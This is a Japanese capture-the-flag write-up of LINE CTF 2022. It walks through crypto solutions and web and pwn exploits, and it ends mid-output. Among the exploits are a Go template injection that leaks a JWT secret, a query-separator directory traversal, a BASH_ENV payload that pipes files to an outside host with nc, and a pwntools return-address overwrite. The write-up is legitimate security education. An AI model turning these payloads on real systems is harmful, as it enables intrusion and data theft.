LINE CTF 2022 writeup

9問解いて20位。

![score.linectf.me_challenges(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/3fc0b95d-6a42-a35a-d984-495d20803c50.png)

![score.linectf.me_team(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/ba8e7332-87b4-7d8d-0816-24dde7eabfeb.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/599afaaf-d0e6-c5d6-28a7-a21a32b42689.png)

## Welcome (misc)

> Welcome to LINECTF 2022!
>
> Flag is `LINECTF{welcome_to_LINECTF2022}`

`LINECTF{welcome_to_LINECTF2022}`

## ecrypt (pwn, misc)

kernel pwn問題が初めて解けた！！！

```
$ nc 34.85.38.218 10002
/ $ su
su
/ # cat /flag
cat /flag
LINECTF{WOW!_powerful_kernel_oor_oow}
```

はい。

kernel問なのに、warmupよりも正解チーム数が多い。「`ioctl`か何かを叩くだけで解けるなんちゃってkernel問なのかな？」と思って見てみたけれど、きっちりkernelで任意コードを実行をしないといけないように見える。

とりあえず、問題のドライバを叩いてみるか。そのためのプログラムを書き……。あ、libcあるのかな？　適当なバイナリに`ldd`を掛けてみるか。

```
/ $ ldd /bin/cat
/bin/cat: is setuid
```

なぜ`cat`にsuid？ BusyBoxを使っていて、/bin/busyboxのsuidビットが立っていた。「それなら？ `cat /flag`で良いのでは？」と思ったけれど、それはダメ。BusyBox内に権限を落とす処理があるらしい。でも、`su`はいけた。

「ecrypt (fixed)」ではbusyboxのsuidが落とされていた。

## ss-puzzle (crypto)

```ss_puzzle.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 64 bytes
FLAG = b'LINECTF{...}'

def xor(a:bytes, b:bytes) -> bytes:
    return bytes(i^j for i, j in zip(a, b))


S = [None]*4
R = [None]*4
Share = [None]*5

S[0] = FLAG[0:8]
S[1] = FLAG[8:16]
S[2] = FLAG[16:24]
S[3] = FLAG[24:32]

# Ideally, R should be random stream. (Not hint)
R[0] = FLAG[32:40]
R[1] = FLAG[40:48]
R[2] = FLAG[48:56]
R[3] = FLAG[56:64]

Share[0] = R[0]            + xor(R[1], S[3]) + xor(R[2], S[2]) + xor(R[3],S[1])
Share[1] = xor(R[0], S[0]) + R[1]            + xor(R[2], S[3]) + xor(R[3],S[2])
Share[2] = xor(R[0], S[1]) + xor(R[1], S[0]) + R[2]            + xor(R[3],S[3])
Share[3] = xor(R[0], S[2]) + xor(R[1], S[1]) + xor(R[2], S[0]) + R[3]
Share[4] = xor(R[0], S[3]) + xor(R[1], S[2]) + xor(R[2], S[1]) + xor(R[3],S[0])


# This share is partially broken.
Share[1] = Share[1][0:8]   + b'\x00'*8       + Share[1][16:24] + Share[1][24:32]

with open('./Share1', 'wb') as f:
    f.write(Share[1])
    f.close()

with open('./Share4', 'wb') as f:
    f.write(Share[4])
    f.close()
```

フラグで色々とxorを取って、一部が潰されている。

先頭8バイトが`LINECTF{`ということは分かっているので、そこから順番に計算していくだけ。こっちがwarmupでは？

```solve.py
Share1 = open("Share1", "rb").read()
Share4 = open("Share4", "rb").read()

def xor(a, b):
  return bytes(x^y for x, y in zip(a, b))

S0 = b"LINECTF{"
R0 = xor(Share1[ 0: 8], S0)
R3 = xor(Share4[24:32], S0)
S3 = xor(Share4[ 0: 8], R0)
S2 = xor(Share1[24:32], R3)
R2 = xor(Share1[16:24], S3)
R1 = xor(Share4[ 8:16], S2)
S1 = xor(Share4[16:24], R2)

FLAG = S0+S1+S2+S3+R0+R1+R2+R3
print(FLAG.decode())
```

```
$ python3 solve.py
LINECTF{Yeah_known_plaintext_is_important_in_xor_based_puzzle!!}
```

`LINECTF{Yeah_known_plaintext_is_important_in_xor_based_puzzle!!}`

## X Factor (crypto, warmup)

```x_factor_....md
I have generated a RSA-1024 key pair:
* public key exponent: 0x10001
* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3

Here are some known plain -> signature pairs I generated using my private key:
* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50
* 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a
* 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c
* 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb
* 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd
* 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a

**What is the signature of 0x686178656c696f6e?**

Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.
```

RSAの平文と署名がいくつか与えられる。`"haxelion"`の署名を求める。

RSAの署名とは、秘密鍵 $d$ での暗号化（復号？）である。RSAで平文 $a$ と $b$ の暗号結果が分かっていれば、$ab$ の暗号結果が得られる。$(ab)^d = a^db^d$。$n$ の素因数分解結果が分からなくても除算はできるので、$\frac{a}{b}$ も計算できる。

署名が与えられている平文を素因数分解して、素因数を使って`haxelion`の署名を求めれば良い。行列の掃き出し法みたいなことが必要かと思ったけれど、良く見ると素因数分解した結果が対称的になっているので、手で計算できる。

```solve.py
e = 0x10001
n = 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3

PS = [
  (0x945d86b04b2e7c7, 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4),
  (0x5de2, 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50),
  (0xa16b201cdd42ad70da249, 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a),
  (0x6d993121ed46b, 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c),
  (0x726fa7a7, 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb),
  (0x31e828d97a0874cff, 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd),
  (0x904a515, 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a),
]
P, S = zip(*PS)

q = 0x686178656c696f6e

"""
0: 0x945d86b04b2e7c7       =                   811 * 947**3 * 970111
1: 0x5de2                  = 2 * 61 * 197
2: 0xa16b201cdd42ad70da249 =                                  970111 * 2098711**2 * 2854343
3: 0x6d993121ed46b         =                         947    * 970111 * 2098711
4: 0x726fa7a7              =     61 * 197**2 * 811
5: 0x31e828d97a0874cff     =                                           2098711    * 2854343 * 9605087
6: 0x904a515               =          197    * 811 * 947

q: 0x686178656c696f6e      = 2 *      197    *       947    *          2098711    *           9605087
"""

assert P[1]*P[5]*P[6]**2*P[3]**2//P[4]//P[2]//P[0]==q

f = S[1]*S[5]*S[6]**2*S[3]**2*pow(S[4]*S[2]*S[0],-1,n)%n
assert pow(f, e, n)==q

print("LINECTF{"+hex(f)[-32:]+"}")
```

```
$ python3 solve.py
LINECTF{a049347a7db8226d496eb55c15b1d840}
```

`LINECTF{a049347a7db8226d496eb55c15b1d840}`

## gotm (web)

JWT。APIだけでフロントエンドが無くて面倒だ。`is_admin=true`のユーザーとしてログインできれば、フラグが取得できる。

はいはい、`{"alg": "none"}` にするやつね……と思ったけど違った。使っている[golang-jwt](https://github.com/golang-jwt/jwt)に対策が入っていて、`"none"`が使えるのは、鍵が`UnsafeAllowNoneSignatureType`（`"none signing method allowed"`）のときだけ。

https://github.com/golang-jwt/jwt/blob/0972257eba279bb357882afc11db8218644ad565/none.go

JWTの鍵（`secret_key`）を、なぜか各`Account`のメンバ変数に持たせている。

```main.go
 :
        id, _ := jwt_decode(token)
        acc := get_account(id)
        tpl, err := template.New("").Parse("Logged in as " + acc.id)
        if err != nil {
        }
        tpl.Execute(w, &acc)
 :
```

この部分が脆弱性。テンプレートにユーザー入力を渡してはいけない。例えば、IDを`kusano{{.Hoge}}`のようにすれば、`acc.Hoge`の内容が出力される。でも、`secret_key`は小文字始まり（Goではフィールド名の先頭が小文字ならばprivate、大文字ならばpublicになる）だが……。`{{.}}`にしたら出力された。`tpl.Execute`はリフレクションを使って処理しているし、ならば可視性は関係無いのだろう。たぶん。

```
$ curl http://34.146.226.125/regist -d "id=kusano{{.}}&pw=QtSSUpPzhZwu"
{"status":true,"msg":""}
$ curl http://34.146.226.125/auth -d "id=kusano{{.}}&pw=QtSSUpPzhZwu"
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imt1c2Fub3t7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.RvdAbM1fDHKYmMnYIMHx9w0o4wlvu2COi0XrI7XeYMI"}
$ curl http://34.146.226.125/ -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imt1c2Fub3t7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.RvdAbM1fDHKYmMnYIMHx9w0o4wlvu2COi0XrI7XeYMI'
Logged in as kusano{kusano{{.}} QtSSUpPzhZwu false fasdf972u1031xu90zm10Av}
```

`secret_key`は`fasdf972u1031xu90zm10Av`。

https://jwt.io/

で`is_admin=true`なJWTを作って、送信。

```
$ curl http://34.146.226.125/flag -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imt1c2Fub3t7Ln19IiwiaXNfYWRtaW4iOnRydWV9.5BemsDFk--Wnq8ehgwL6AmirY_earTy27w-ct4oIZAU'
{"status":true,"msg":"Hi kusano{{.}}, flag is LINECTF{country_roads_takes_me_home}"}
```

`LINECTF{country_roads_takes_me_home}`

## Baby crypto revisited (crypto)

「問題をちょっと変えただけで使い回すのは止めろ。今回の問題でもそのまま解ける解答コードがインターネット上にあるだろ」と文句を言われていた。

サイドチャンネル攻撃で[ECDSA](https://ja.wikipedia.org/wiki/%E6%A5%95%E5%86%86%E6%9B%B2%E7%B7%9ADSA)のnonceをリークしたけど、今回はリークできなかった部分が増えてしまって云々。これ、問題のストーリーだと思っていたけど、メタな話だったのか。昨年のLINE CTFで似た問題が出ていたらしい。……参加したはずだけど、全く思い当たらなかった。

https://qiita.com/kusano_k/items/f321cb5075758008b450#babycrypto4

これだ。リークできなかった部分を総当たりで解いていて、簡単だったから、記憶に残っていなかったようだ。

前回は伏せられている部分が16 bitだったのが、今回は64 bit。総当たりは無理。

楕円曲線は全て忘れて良くて、 $s_i=k_i^{-1}(z_i+r_id_A) \mod n$が成り立つ$s_i$、$k_i$、$z_i$、$r_i$が多数与えられて、$d_A$を求める問題になる。ただし、$k_i$の下位64 bitは潰されている。

$k_i$を$k_i+k'_i$ に置き換える。$k'_i$ は64 bitの整数。$d_A$ は不変なので、

```math
d_A = (s_1(k_1+k'_1)-z_1)r_1^{-1} = (s_2(k_2+k'_2)-z_2)r_2^{-1} \mod n
```

変形して、

```math
s_1r_2k'_1 - s_2r_1k'_2 + s_1k_1r_2-z_1r_2-s_2k_2r_1+z_2r_1 = 0 \mod n
```

これが成り立つような。64 bitの整数 $k'_1$ と $k'_2$ を求める。格子。法 $n$ は160 bitのところ、$k'_1$ と $k'_2$ は合わせて128 bitなので、式が1個あれば高い確率で一意に定まる。$k$ が求められれば $d_A$ も求められる。

```solve.sage
# https://neuromancer.sk/std/secg/secp160r1
n = 0x0100000000000000000001f4c8f927aed3ca752257

r1 = 0xe6b7c5a62d08e0216e1e7ed7948c96b74c0be9cd
s1 = 0x49e1050393f885117de74e7a02d1091d67faa3d0
k1 = 0xff07bbee67c3ab910000000000000000
z1 = 0xe91f3200a87205d18a97bdf3bb3027c9f532c8a4

r2 = 0x7e7b86c8624c9b597131bb883053b1856527a5ff
s2 = 0x7787b9157fbbaf178ed091b23ce30b2e1ccf9abf
k2 = 0x882f44f29c56aea60000000000000000
z2 = 0x37c9f0d06570b0087430b9c66372e385839bb348

oo = 2^1024
M = [
 [1, 0, 0,  (s1*r2)*oo],
 [0, 1, 0,  (-s2*r1)*oo],
 [0, 0, oo, (s1*k1*r2-z1*r2-s2*k2*r1+z2*r1)*oo],
 [0, 0, 0,  n*oo],
]
M = Matrix(M).LLL()

m = M[-1]
assert abs(m[2])==oo
assert abs(m[3])==0
kd1 = m[0]*(m[2]//oo)
d = (s1*(k1+kd1)-z1)*pow(r1, -1, n)
print(f"LINECTF{{{hex(d)}}}")
```

```
>docker run --rm -it -v "%CD%":/host sagemath/sagemath sage /host/solve.sage
LINECTF{0xd77d10fec685cbe16f64cba090db24d23b92f824}
```

`LINECTF{0xd77d10fec685cbe16f64cba090db24d23b92f824}`

## Forward-or (crypto)

暗号文から平文を求める問題。もちろん何も手がかりが無ければ無理だが、平文の先頭が`LINECTF{`であることは分かっている。

鍵`key`は`0123`の4種類の文字で構成される20文字の文字列。これを`key[:10]`と`key[10:]`に分けて、それぞれの鍵を使い、[PRESENT](http://www.lightweightcrypto.org/downloads/implementations/pypresent.py)というライブラリで二重に暗号化している。

$4^{20}$ の全探索はできないが、$4^{10}$ はできる。`LINECTF{`を1回暗号化した結果と、問題の暗号文を復号した結果が一致すれば良い。半分全列挙。

```solve.py
ciphertext = bytes.fromhex("3201339d0fcffbd152f169ddcb8349647d8bc36a73abc4d981d3206f4b1d98468995b9b1c15dc0f0")
nonce = bytes.fromhex("32e10325")

import itertools
from present import Present
from main import CTRMode

print("stage 1")
M = {}
for k in itertools.product("0123", repeat=10):
  k = "".join(k).encode()
  c = Present(k, 16).encrypt(nonce+bytes(4))
  M[c] = k

print("stage 2")
c = bytes(x^y for x, y in zip(b"LINECTF{", ciphertext[:8]))
for k in itertools.product("0123", repeat=10):
  k = "".join(k).encode()
  p = Present(k, 16).decrypt(c)
  if p in M:
    key = M[p]+k
    break
print("key:", key)

#key = b"32013230202123003302"

print(CTRMode(key, nonce).decrypt(ciphertext).decode())
```

```
$ python3 solve.py
stage 1
stage 2
key: b'32013230202123003302'
LINECTF{|->TH3Y_m3t_UP_1n_th3_m1ddl3<-|}
```

それなりに実行時間が掛かり、鍵を手に入れられた後の処理のtypoなどで落ちると悲しいので、鍵を手に入れたらすぐに出力しておくと良い。その鍵を使って復号処理が書ける。

`LINECTF{|->TH3Y_m3t_UP_1n_th3_m1ddl3<-|}`

## Memo Drive (web)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/cd7484f5-a16d-fd9c-b36d-096a3ccb2f9c.png)

アクセスするIPアドレスごとにメモが保存できる。保存先は `./memo/${MD5(ip+'_'+SALT)}/`。フラグは`./memo/flag`にある。メモへのアクセスは`/view?${MD5(ip+'_'+SALT)}=${filename}`。

```index.py
 :
def view(request):
    context = {}

    try:
        context['request'] = request
        clientId = getClientID(request.client.host)

        if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
            raise
        
        filename = request.query_params[clientId]
        path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
        
        f = open(path, 'r')
        contents = f.readlines()
        f.close()
        
        context['filename'] = filename
        context['contents'] = contents
 :
```

`filename`でディレクトリトラバーサルをしたいが、`.`を含められない。なら、`=`の前の部分で……と思うけれど、ここはIPアドレスから計算される値でなければいけない。`request.query_params[clientId]`で引く用と、ディレクトリトラバーサル用の2個を用意すれば良い……が、URLに`&`を含められない。

使われている[Starlette](https://github.com/encode/starlette)のソースコードを見ると、クエリパラメタは`urllib.parse_qsl`でパースしている。

https://github.com/encode/starlette/blob/6182d0a0bc7e5817197d2919b18d67f70e3a71d1/starlette/datastructures.py#L398

`urllib.parse_qsl`を見ると、

> バージョン 3.10 で変更: Added separator parameter with the default value of `&`. Python versions earlier than Python 3.10 allowed using both `;` and `&` as query parameter separator. This has been changed to allow only a single separator key, with `&` as the default separator.

https://docs.python.org/ja/3/library/urllib.parse.html#urllib.parse.parse_qsl

バージョン3.9までは`&`の代わりに`;`が通るらしい。えぇ……。

`/view?aa012f45736dd26fa77748d960d5968d=flag;/%2E%2E/=`でフラグが出てくる。

`LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}`

## bb (web, misc, warmup)

```index.php
<?php
    error_reporting(0);

    function bye($s, $ptn){
        if(preg_match($ptn, $s)){
            return false;
        }
        return true;
    }

    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
            putenv("{$k}={$v}");
        }
    }
    system("bash -c 'imdude'");
    
    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i")) {
            putenv("{$k}");
        }
    }
    highlight_file(__FILE__);
?>
```

これだけ。シンプルな問題は好き。

あまり知られていない……かどうかは分からないが、PHPでは`env[hoge]=fuga`というクエリパラメタが与えられると、`%_GET["env"]`は`["hoge" => "fuga"]`となる。これを使って環境変数を設定して、`system("bash -c 'imdude'");`で悪さをしろという問題。ちなみに、`imdude`というコマンドは存在しない。

bashは関数をexportすることができる。どうやっているかというと、`BASH_FUNC_funcname%%`という環境変数に関数を文字列として設定し、bashの起動時に読み込む。Shellshockの対策として、環境変数名が難しくなった。

```
$ hoge() {
> echo fuga
> }
$ export -f hoge
$ bash -c hoge
fuga
$ env
 :
BASH_FUNC_hoge%%=() {  echo fuga
}
 :
```

`BASH_FUNC_imdude%%`を設定すれば終わりかと思ったが、環境変数名に記号が入っていると誰かに消される。どうするの……とググっていたら、今回問題と同じような問題があったらしく、中国語のwriteupが出てきた。

https://tttang.com/archive/1450/

今の時代、英語だけではなく中国語も読めないといけないのか。まあ、機械翻訳でも意味は取れる。

なるほど、`BASH_ENV`。`/?env[BASH_ENV]=$(cat /* | nc my-server 1234)`とすれば良い。環境変数の値に英数字が使えないという制約があるので、`$'...'`と8進数表記で回避。

```
$ $'\151\144' # id
uid=1000(kusano) gid=1000(kusano) ...
```

`LINECTF{well..what_do_you_think_about}`

## trust code (pwn, warmup)

あと少しで解けなかった。悔しい。

warmup……？　このコンテスト、warmupがおかしくない？　20人しか解けないwarmupとは。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/d3e7d516-38a5-1c07-95fd-3a6db67b14e1.png)

シェルコードを秘密の鍵を使ってAES-128 CBCで復号して、実行してくれる。「trust」がどういうことかというと、復号結果の先頭に`"TRUST_CODE_ONLY!"`が無ければいけない。暗号鍵が分からないので、そんなのは無理。

Ghidraで復号したソースコードはこんな感じ。

```cpp
unsigned char secret_key[0x10];
unsigned char iv[0x10];
int loop_cont = 1;

int main()
{
    launch();
}

void launch()
{
    char key[0x10];
      :
    int fd = open("secret_key.txt", 0);
    read(fd, key, 0x10);
    close(fd);
    memcpy(secret_key, key, 0x10);

    service();
}

void service()
{
    char v[0x10];

    printf("iv> ");
    read(STDIN_FILENO, v, 0x20);
    memcpy(iv, v, 0x10);

    loop();
}

void loop()
{
    while (loop_cont!=0)
    {
        run();
    }
}

void run()
{
    Shellcode shellcode;

    unsigned char *c = read_code();
    memcpy(shellcode.code, c+0x10, 0x20);
    execute(shellcode.code);
}

class Shellcode
{
    unsigned char code[0x20];
    ~Shellcode()
    {
        printf("\n= Executed =\n");
        write(STDOUT_FILENO, code, 0x20);
        memset(code, 0, 0x20);
    };
};

unsigned char *read_code()
{
    unsigned char code[0x30];

    printf("code> ");
    memset(code, 0, 0x30);
    read(STDIN_FILENO, code, 0x30);

    return decrypt(code);
}

unsigned char *decrypt(unsigned char enc[0x30])
{
    unsigned char *plain = new unsigned char[0x30];
    AES_KEY key;
    AES_set_decrypt_key(secret_key, 128, &key);
    AES_cbc_encrypt(enc, plain, 0x30, &key, iv, 0);
    if (strncmp(plain, "TRUST_CODE_ONLY!", 0x10)!=0) {
        throw std::exception();
    }
    return plain;
}

void execute(unsigned char *code)
{
    int res = invalid_check(code);
    char buf[2];

    if (res!=-1) {
        unsigned char *tmp = create_rwx(code);
        ((void (*)())tmp)();
        munmap(tmp, 0x1000);
    }
    printf("done?> ");
    read(STDIN_FILENO, buf, 2);
    if (buf[0]=='y' || buf[1]=='Y') {
        loop_cont = 0;
    }
}

void invalid_check(unsigned char code[0x20]) {
    for (int i=0; i<0x20; i++)
        if (code[i]==0x0f || code[i]==0x05)
            return -1;
    return 0;
}

void create_rwx(unsigned char code[0x20])
{
    // rwxの領域を確保してcodeをコピー
}
```

`service`にバッファオーバーフローの脆弱性がある。AES-128で、確保しているメモリは128 bitなのに、256 bit読み込める。しかし、カナリアのチェックがあるので、バッファオーバーフローでの攻撃はできない。

`decrypt`が例外を投げるのがポイント。このとき、`run`で`Shellcode`のデストラクタが呼びされる。たとえスタックが壊れいても。

そういえば、こういうコードがどうやって処理されるのか知らなかった。

```test.cpp
struct C {
    ~C() {}
};

void h() {
    throw 0;
}

int a;
void g() {
    C c;
    h();
    a = 1;
}

void f() {
    g();
}

int main()
{
    try {f();}
    catch (...) {}
}
```

単純に`try`で`setjmp`でもしているのかと思っていたけれど、それではダメで、`g`で`C`のデストラクタを呼ばないといけない。一方、`a = 1`は実行されない。コンパイルして逆アセンブルしてみると、`g`に通常のフロートは別に`C::~C`を呼ぶ処理がある。でも、その処理のアドレスはどうやって知るの……？

ELFの`.eh_frame`に書かれているらしい。`readelf --debug-dump=frames`で確認ができる。へー。

```
$ readelf --debug-dump=frames trust_code
Contents of the .eh_frame section:
 :
000001a4 000000000000001c 00000024 FDE cie=00000184 pc=0000000000001610..00000000000016ac
  Augmentation data:     c3 02 00 00
  DW_CFA_advance_loc: 4 to 0000000000001614
  DW_CFA_def_cfa_offset: 80
  DW_CFA_advance_loc1: 112 to 0000000000001684
  DW_CFA_def_cfa_offset: 8
  DW_CFA_advance_loc: 1 to 0000000000001685
  DW_CFA_def_cfa_offset: 80
  DW_CFA_nop
 :
```

```
0000000000001610 <run()>:
    1610:	48 83 ec 48          	sub    rsp,0x48
    1614:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
    161b:	00 00 
    161d:	48 89 44 24 40       	mov    QWORD PTR [rsp+0x40],rax
    1622:	e8 49 fd ff ff       	call   1370 <read_code()>
    1627:	48 89 04 24          	mov    QWORD PTR [rsp],rax
    162b:	e9 00 00 00 00       	jmp    1630 <run()+0x20>
    1630:	48 8b 04 24          	mov    rax,QWORD PTR [rsp]
    1634:	48 89 44 24 18       	mov    QWORD PTR [rsp+0x18],rax
    1639:	48 8b 44 24 18       	mov    rax,QWORD PTR [rsp+0x18]
    163e:	0f 10 40 10          	movups xmm0,XMMWORD PTR [rax+0x10]
    1642:	0f 10 48 20          	movups xmm1,XMMWORD PTR [rax+0x20]
    1646:	0f 29 4c 24 30       	movaps XMMWORD PTR [rsp+0x30],xmm1
    164b:	0f 29 44 24 20       	movaps XMMWORD PTR [rsp+0x20],xmm0
    1650:	48 8d 7c 24 20       	lea    rdi,[rsp+0x20]
    1655:	e8 f6 fe ff ff       	call   1550 <execute(unsigned char*)>
    165a:	e9 00 00 00 00       	jmp    165f <run()+0x4f>
    165f:	48 8d 7c 24 20       	lea    rdi,[rsp+0x20]
    1664:	e8 07 03 00 00       	call   1970 <Shellcode::~Shellcode()>
    1669:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
    1670:	00 00 
    1672:	48 8b 4c 24 40       	mov    rcx,QWORD PTR [rsp+0x40]
    1677:	48 39 c8             	cmp    rax,rcx
    167a:	0f 85 27 00 00 00    	jne    16a7 <run()+0x97>
    1680:	48 83 c4 48          	add    rsp,0x48
    1684:	c3                   	ret    
    1685:	48 89 c1             	mov    rcx,rax
    1688:	89 d0                	mov    eax,edx
    168a:	48 89 4c 24 10       	mov    QWORD PTR [rsp+0x10],rcx
    168f:	89 44 24 0c          	mov    DWORD PTR [rsp+0xc],eax
    1693:	48 8d 7c 24 20       	lea    rdi,[rsp+0x20]
    1698:	e8 d3 02 00 00       	call   1970 <Shellcode::~Shellcode()>
    169d:	48 8b 7c 24 10       	mov    rdi,QWORD PTR [rsp+0x10]
    16a2:	e8 99 fa ff ff       	call   1140 <_Unwind_Resume@plt>
    16a7:	e8 24 fa ff ff       	call   10d0 <__stack_chk_fail@plt>
    16ac:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
```

例外が発生したときには、スタックのリターンアドレスからどこの関数から呼び出されたのかを把握し、`.eh_frame`の情報からデストラクタ用の処理を呼んだり、スタックを巻き戻したりしているらしい。

`service`のバッファオーバーフローで、本来は`launch`を挿しているリターンアドレスを、`run`を挿すように書き換えると、`run`から呼び出されていると誤認し、`run`の`Shellcode`のデストラクタを呼び出す処理がもう一度実行される。このとき、本来は`shellcode`があるべきスタックの位置がちょうど`key`になっていて、secret_key.txtがリークする。

```attack1.py
from pwn import *
import time

s = remote("35.190.227.47", 10009)

s.sendafter(b"iv> ", b"a"*0x18+bytes([0x5a, 0x16]))
s.sendafter(b"code> ", b"aaa")

time.sleep(1)
print(s.recv(0x100))
```

1/16の確率で0x16の1の部分が当たると、`secret_key`が出てくる。

```
$ for i in $(seq 32); do python3 attack1.py; done
 :
[*] Closed connection to 35.190.227.47 port 10009
[+] Opening connection to 35.190.227.47 on port 10009: Done
